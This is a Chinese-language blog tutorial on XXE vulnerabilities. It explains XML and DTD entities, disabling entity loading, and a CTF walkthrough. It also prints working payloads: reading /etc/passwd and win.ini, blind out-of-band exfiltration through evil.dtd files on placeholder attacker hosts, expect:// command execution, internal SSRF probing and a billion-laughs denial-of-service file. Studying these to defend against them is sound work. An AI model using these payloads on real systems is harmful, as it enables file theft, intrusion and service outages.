XXE漏洞学习

0x00 什么是XML

1.定义

XML用于标记电子文件使其具有结构性的标记语言，可以用来标记数据、定义数据类型，是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义（可选）、文档元素。

2.文档结构

XML文档结构包括XML声明、DTD文档类型定义（可选）、文档元素。

<!--XML声明-->
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE note [  <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)>  <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)>     <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)>   <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)>   <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)>   <!--定义body元素为”#PCDATA”类型-->
]]]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>

3.DTD

XML文档结构包括XML声明、DTD文档类型定义（可选）、文档元素。

1.内部声明DTD：

<!DOCTYPE 根元素 [元素声明]>

2.引用外部DTD：

<!DOCTYPE 根元素 SYSTEM "文件名">

3.内外部DTD文档结合：

<!DOCTYPE 根元素 SYSTEM "DTD文件路径" [定义内容]>

DTD中的一些重要的关键字：

DOCTYPE（DTD的声明）
ENTITY（实体的声明）
SYSTEM、PUBLIC（外部资源申请）

4.实体类别介绍

实体主要分为一下四类

内置实体 (Built-in entities)
字符实体 (Character entities)
通用实体 (General entities)
参数实体 (Parameter entities)

参数实体用%实体名称申明，引用时也用%实体名称;

其余实体直接用实体名称申明，引用时用&实体名称。

参数实体只能在DTD中申明，DTD中引用；

其余实体只能在DTD中申明，可在xml文档中引用。

注意：参数实体是在DTD中被引用的，而其余实体是在xml文档中被引用的。

0x01 DTD 实体声明：

1. 内部实体声明

<!ENTITY 实体名称 “实体的值”>

一个实体由三部分构成:&符号, 实体名称, 分号 (;)，这里&不论在GET还是在POST中都需要进行URL编码，因为是使用参数传入xml的，&符号会被认为是参数间的连接符号，示例：

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe "Thinking">]>
<foo>&xxe;</foo>

2. 外部实体声明

XML中对数据的引用称为实体，实体中有一类叫外部实体，用来引入外部资源，有SYSTEM和PUBLIC两个关键字，表示实体来自本地计算机还是公共计算机，外部实体的引用可以借助各种协议，比如如下的三种：

file:///path/to/file.ext
http://url
php://filter/read=convert.base64-encode/resource=conf.php

<!ENTITY 实体名称 SYSTEM “URI/URL”>

外部引用可支持http，file等协议，不同的语言支持的协议不同，但存在一些通用的协议，具体内容如下所示：

外部实体的默认协议

示例：

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xdsec [
<!ELEMENT methodname ANY >
<!ENTITY xxe(实体引用名) SYSTEM "file:///etc/passwd"(实体内容) >]>
<methodcall>
<methodname>&xxe;</methodname>
</methodcall>

这种写法则调用了本地计算机的文件/etc/passwd，XML内容被解析后，文件内容便通过&xxe被存放在了methodname元素中，造成了敏感信息的泄露。

3. 参数实体声明

<!ENTITY % 实体名称 “实体的值”>
or
<!ENTITY % 实体名称 SYSTEM “URI”>

示例：

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY  % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" >
%xxe;]>
<foo>&evil;</foo>

外部evil.dtd中的内容。

<!ENTITY evil SYSTEM “file:///c:/windows/win.ini” >

4. 引用公共实体

<!ENTITY 实体名称 PUBLIC "public_ID" "URI">

0x02 什么是XML外部实体攻击?

有了XML实体，关键字’SYSTEM’会令XML解析器从URI中读取内容，并允许它在XML文档中被替换。因此，攻击者可以通过实体将他自定义的值发送给应用程序，然后让应用程序去呈现。简单来说，攻击者强制XML解析器去访问攻击者指定的资源内容(可能是系统上本地文件亦或是远程系统上的文件)。比如，下面的代码将获取系统上folder/file的内容并呈献给用户。

Code1：

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [<!ENTITY passwd SYSTEM "file:///etc/passwd">]>
<foo>
        <value>&passwd;</value>
</foo>

Code2：

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE b [<!ENTITY entityex SYSTEM "file:///folder/file">]>
<foo>
        <value>&entityex;</value>
</foo>

Code3：

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php" >
]>
<root>
<name>&xxe;</name>
</root>

以Code1代码为例，XML外部实体 ‘passwd’ 被赋予的值为：file:///etc/passwd。在解析XML文档的过程中，实体’passwd’的值会被替换为URI(file:///etc/passwd)内容值(也就是passwd文件的内容)。关键字’SYSTEM’会告诉XML解析器，’passwd’实体的值将从其后的URI中读取。

0x03 怎么甄别一个XML实体攻击漏洞?

XXE漏洞主要针对web服务危险的引用的外部实体并且未对外部实体进行敏感字符的过滤，从而可以造成命令执行，目录遍历等。

最直接的回答就是：甄别那些接受XML作为输入内容的端点。但是有时候，这些端点可能并不是那么明显(比如，一些仅使用JSON去访问服务的客户端)。在这种情况下，渗透测试人员就必须尝试不同的测试方式，比如修改HTTP的请求方法，修改Content-Type头部字段等等方法，然后看看应用程序的响应，看看程序是否解析了发送的内容，如果解析了，那么则可能有XXE攻击漏洞。

例如wsdl（web服务描述语言）。或者一些常见的采用xml的java服务配置文件（spring，struts2）。不过现实中存在的大多数XXE漏洞都是blind，即不可见的，必须采用带外通道进行返回信息的记录，这里简单来说就是攻击者必须具有一台具有公网ip的主机。

xxe漏洞检测

第一步检测XML是否会被成功解析：

<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE ANY [ 
<!ENTITY name "my name is nMask">]>
<root>&name;</root>

如果页面输出了my name is nMask，说明xml文件可以被解析。

第二步检测服务器是否支持DTD引用外部实体：

<?xml version=”1.0” encoding=”UTF-8”?> 
<!DOCTYPE ANY [ 
<!ENTITY % name SYSTEM "http://localhost/index.html"> 
%name; 
]>

可通过查看自己服务器上的日志来判断，看目标服务器是否向你的服务器发了一条请求index.html的请求。

从PHP代码层面上

最开始，引入一个file_get_contents函数，将整个XML数据读入data字符串中，然后交给php的xml解析函数simplexml_load_string()解析，解析后的数据赋给xml变量。

这一数据即XML字符串中使用的对象(或者说根元素)的数据，并echo输出出来。

<?php
$data = file_get_contents('php://input');  //获取提交的XML数据
$xml = simplexml_load_string($data);  // 交给PHP的XML解析函数
echo $xml->name;
?>

0x04 xxe漏洞的危害

xxe漏洞的危害有很多，比如可以文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等，这里就读取任意文件的利用方式进行测试。

危害1：读取任意文件

有回显情况

XML.php

<?php
$xml = <<<EOF
<?xml version = "1.0"?>
<!DOCTYPE ANY [
    <!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>

访问XML.php可以读取etc/passwd文件内容

该CASE是读取/etc/passwd，有些XML解析库支持列目录，攻击者通过列目录、读文件，获取帐号密码后进一步攻击，如读取tomcat-users.xml得到帐号密码后登录tomcat的manager部署webshell。

实例展示：

可以使用如下的两种方式进行XXE注入攻击。

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY  xxe SYSTEM "file:///c:/windows/win.ini" >]>
<foo>&xxe;</foo>

 
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY  % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" >
%xxe;]>
<foo>&evil;</foo>

外部evil.dtd中的内容。

<!ENTITY evil SYSTEM “file:///c:/windows/win.ini” >

当然也可以进行内网站点的入侵。

以上任意文件读取能够成功，除了DTD可有引用外部实体外，还取决于有输出信息，即有回显。那么如果程序没有回显的情况下，该怎么读取文件内容呢？需要使用blind xxe漏洞去利用。

无回显的情况

blind xxe漏洞方案1：

对于传统的XXE来说，要求攻击者只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件，如果没有回显则可以使用Blind XXE漏洞来构建一条带外信道提取数据。

创建test.php写入以下内容：

<?php 
file_put_contents("test.txt", $_GET['file']) ; 
?>

创建index.php写入以下内容：

<?php 
$xml=<<<EOF 
<?xml version="1.0"?> 
<!DOCTYPE ANY[ 
<!ENTITY % file SYSTEM "file:///C:/test.txt"> 
<!ENTITY % remote SYSTEM "http://localhost/test.xml"> 
%remote;
%all;
%send; 
]> 
EOF; 
$data = simplexml_load_string($xml) ; 
echo "<pre>" ; 
print_r($data) ; 
?>

创建test.xml并写入以下内容：

<!ENTITY % all "<!ENTITY % send SYSTEM 'http://localhost/test.php?file=%file;'>">

当访问http://localhost/index.php, 存在漏洞的服务器会读出text.txt内容，发送给攻击者服务器上的test.php，然后把读取的数据保存到本地的test.txt中。

blind xxe漏洞方案2：

可以将文件内容发送到远程服务器，然后读取。

<?xml verstion="1.0" encoding="utf-8"?>
<!DOCTYPE a[
        <!ENTITY % f SYSTEM "http://yourhost/evil.dtd">
        %f;
]>
<a>&b;</a>
$data = simplexml_load_string($xml);
print_r($data);

远程服务器的evil.dtd文件内容

<!ENTITY b SYSTEM "file:///etc/passwd">

blind xxe漏洞方案3：

可以使用外带数据通道提取数据，先使用php://filter获取目标文件的内容，然后将内容以http请求发送到接受数据的服务器(攻击服务器)xxx.xxx.xxx。

<?xml version=”1.0”?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./target.php"> # /etc/issue
<!ENTITY % dtd SYSTEM "http://xxx.xxx.xxx/evil.dtd">
%dtd;
%send;
]>

evil.dtd的内容，内部的%号要进行实体编码成&#x25。

<!ENTITY % all
“<!ENTITY &#x25; send SYSTEM ‘http://xxx.xxx.xxx/?%file;’>”
>
%all;

有报错直接查看报错信息。

无报错需要访问接受数据的服务器中的日志信息，可以看到经过base64编码过的数据，解码后便可以得到数据。

这里列举几个案例：

恶意引入外部实体1：

**XML内容**

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
      <!ENTITY b SYSTEM "file:///etc/passwd">
]>
<aaa>&b;</aaa>

恶意引入外部实体2：

**XML内容**

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
     <!ENTITY % d SYSTEM "http://yourhost/evil.dtd">
     %d;
]>
<aaa>&b;</aaa>

DTD文件（evil.dtd）内容：

<!ENTITY b SYSTEM "file:///etc/passwd">

恶意引入外部实体3

**XML内容**

<?xml verstion="1.0" encoding="utf-8"?>
<!DOCTYPE a SYSTEM "http://yourhost/evil.dtd">
]>
<c>&b;</c>

DTD文件内容

<!ENTITY b SYSTEM "file:///etc/passwd">

恶意引入外部实体(4)

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY  xxe SYSTEM "file:///c:/windows/win.ini" >]>
<foo>&xxe;</foo>

危害2：命令执行

php环境下，xml命令执行要求php装有expect扩展。而该扩展默认没有安装。

<?php
$xml = <<<EOF
<?xml version = "1.0"?>
<!DOCTYPE ANY [
    <!ENTITY f SYSTEM "except://ls"> # id
]>
<x>&f;</x>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>

该CASE是在安装expect扩展的PHP环境里执行系统命令，其他协议也有可能可以执行系统命令。

危害3：内网探测/SSRF

由于xml实体注入攻击可以利用http://协议，也就是可以发起http请求。可以利用该请求去探查内网，进行SSRF攻击。

<?php
$xml = <<<EOF
<?xml version = "1.0"?>
<!DOCTYPE ANY [
    <!ENTITY f SYSTEM "http://192.168.1.1:80/">
]>
<x>&f;</x>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>

危害4：攻击内网网站

该CASE是攻击内网struts2网站，远程执行系统命令。

危害5：拒绝服务攻击

2. To crash the server / Cause denial of service:

 <?xml version="1.0"?>
 <!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
 ]>
 <lolz>&lol9;</lolz>

上面样例代码2中的XXE漏洞攻击就是著名的’billion laughs’ 攻击。

(https://en.wikipedia.org/wiki/Billion_laughs)，该攻击通过创建一项递归的 XML 定义，在内存中生成十亿个”Ha!”字符串，从而导致 DDoS 攻击。

原理为：构造恶意的XML实体文件耗尽可用内存，因为许多XML解析器在解析XML文档时倾向于将它的整个结构保留在内存中，解析非常慢，造成了拒绝服务器攻击。除了这些，攻击者还可以读取服务器上的敏感数据，还能通过端口扫描，获取后端系统的开放端口。

0x05 XXE漏洞修复与防御

xxe漏洞存在是因为XML解析器解析了用户发送的不可信数据。然而，要去校验DTD(document type definition)中SYSTEM标识符定义的数据，并不容易，也不大可能。大部分的XML解析器默认对于XXE攻击是脆弱的。因此，最好的解决办法就是配置XML处理器去使用本地静态的DTD，不允许XML中含有任何自己声明的DTD。通过设置相应的属性值为false，XML外部实体攻击就能够被阻止。因此，可将外部实体、参数实体和内联DTD 都被设置为false，从而避免基于XXE漏洞的攻击。

方案一：使用开发语言提供的禁用外部实体的方法

PHP

libxml_disable_entity_loader(true);

JAVA

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();

dbf.setExpandEntityReferences(false);

Python

from lxml import etree

xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

方案二：过滤用户提交的XML数据

过滤关键词：<!DOCTYPE和<!ENTITY，或者SYSTEM和PUBLIC。

0x06 一道CTF题目

题目链接：

http://web.jarvisoj.com:9882/

目的很明确获取/home/ctf/flag.txt的内容

下面分析源码

<script>
function XHR() {
        var xhr;
        try {xhr = new XMLHttpRequest();}
        catch(e) {
            var IEXHRVers =["Msxml3.XMLHTTP","Msxml2.XMLHTTP","Microsoft.XMLHTTP"];
            for (var i=0,len=IEXHRVers.length;i< len;i++) {
                try {xhr = new ActiveXObject(IEXHRVers[i]);}
                catch(e) {continue;}
            }
        }
        return xhr;
    }

function send(){
 evil_input = document.getElementById("evil-input").value;
 var xhr = XHR();
     xhr.open("post","/api/v1.0/try",true);
     xhr.onreadystatechange = function () {
         if (xhr.readyState==4 && xhr.status==201) {
             data = JSON.parse(xhr.responseText);
             tip_area = document.getElementById("tip-area");
             tip_area.value = data.task.search+data.task.value;
         }
     };
     xhr.setRequestHeader("Content-Type","application/json");
     xhr.send('{"search":"'+evil_input+'","value":"own"}');
}
</script>

很明显是AJAX异步传送数据

在一般的异步网站都会有异步数据与服务器的交互，一般传送数据为json但如果将传送的数据格式改为xml。有很大的可能服务器会解析你异步上传的xml脚本执行想要干的事

解题步骤：

要先修改Content-Type: application/xml

然后加入xml脚本即可

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ 
<!ENTITY myentity SYSTEM "file:///home/ctf/flag.txt" >]>
<abc>&myentity;</abc>

得到返回结果

<abc>CTF{XxE_15_n0T_S7range_Enough}

</abc>

0x07 参考链接

https://security.tencent.com/index.php/blog/msg/69

https://thief.one/2017/06/20/1/

https://www.jianshu.com/p/7325b2ef8fc9

https://blog.csdn.net/qq_31481187/article/details/53028221

http://netsecurity.51cto.com/art/201702/531996.htm

https://www.cnblogs.com/wfzWebSecuity/p/6681114.html

https://www.jianshu.com/p/7325b2ef8fc9

posted @ 2018-06-06 23:05 时光不改阅读(16738) 评论(1) 编辑收藏举报

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时光不改

时光荏苒，初心不改。

XXE漏洞学习

0x00 什么是XML

1.定义

2.文档结构

3.DTD

4.实体类别介绍

0x01 DTD 实体声明：

1. 内部实体声明

2. 外部实体声明

3. 参数实体声明

4. 引用公共实体

0x02 什么是XML外部实体攻击?

0x03 怎么甄别一个XML实体攻击漏洞?

xxe漏洞检测

从PHP代码层面上

0x04 xxe漏洞的危害

危害1：读取任意文件

有回显情况

无回显的情况

blind xxe漏洞方案1：

blind xxe漏洞方案2：

blind xxe漏洞方案3：

这里列举几个案例：

危害2：命令执行

危害3：内网探测/SSRF

危害4：攻击内网网站

危害5：拒绝服务攻击

0x05 XXE漏洞修复与防御

方案一：使用开发语言提供的禁用外部实体的方法

方案二：过滤用户提交的XML数据

0x06 一道CTF题目

题目链接：

解题步骤：

0x07 参考链接

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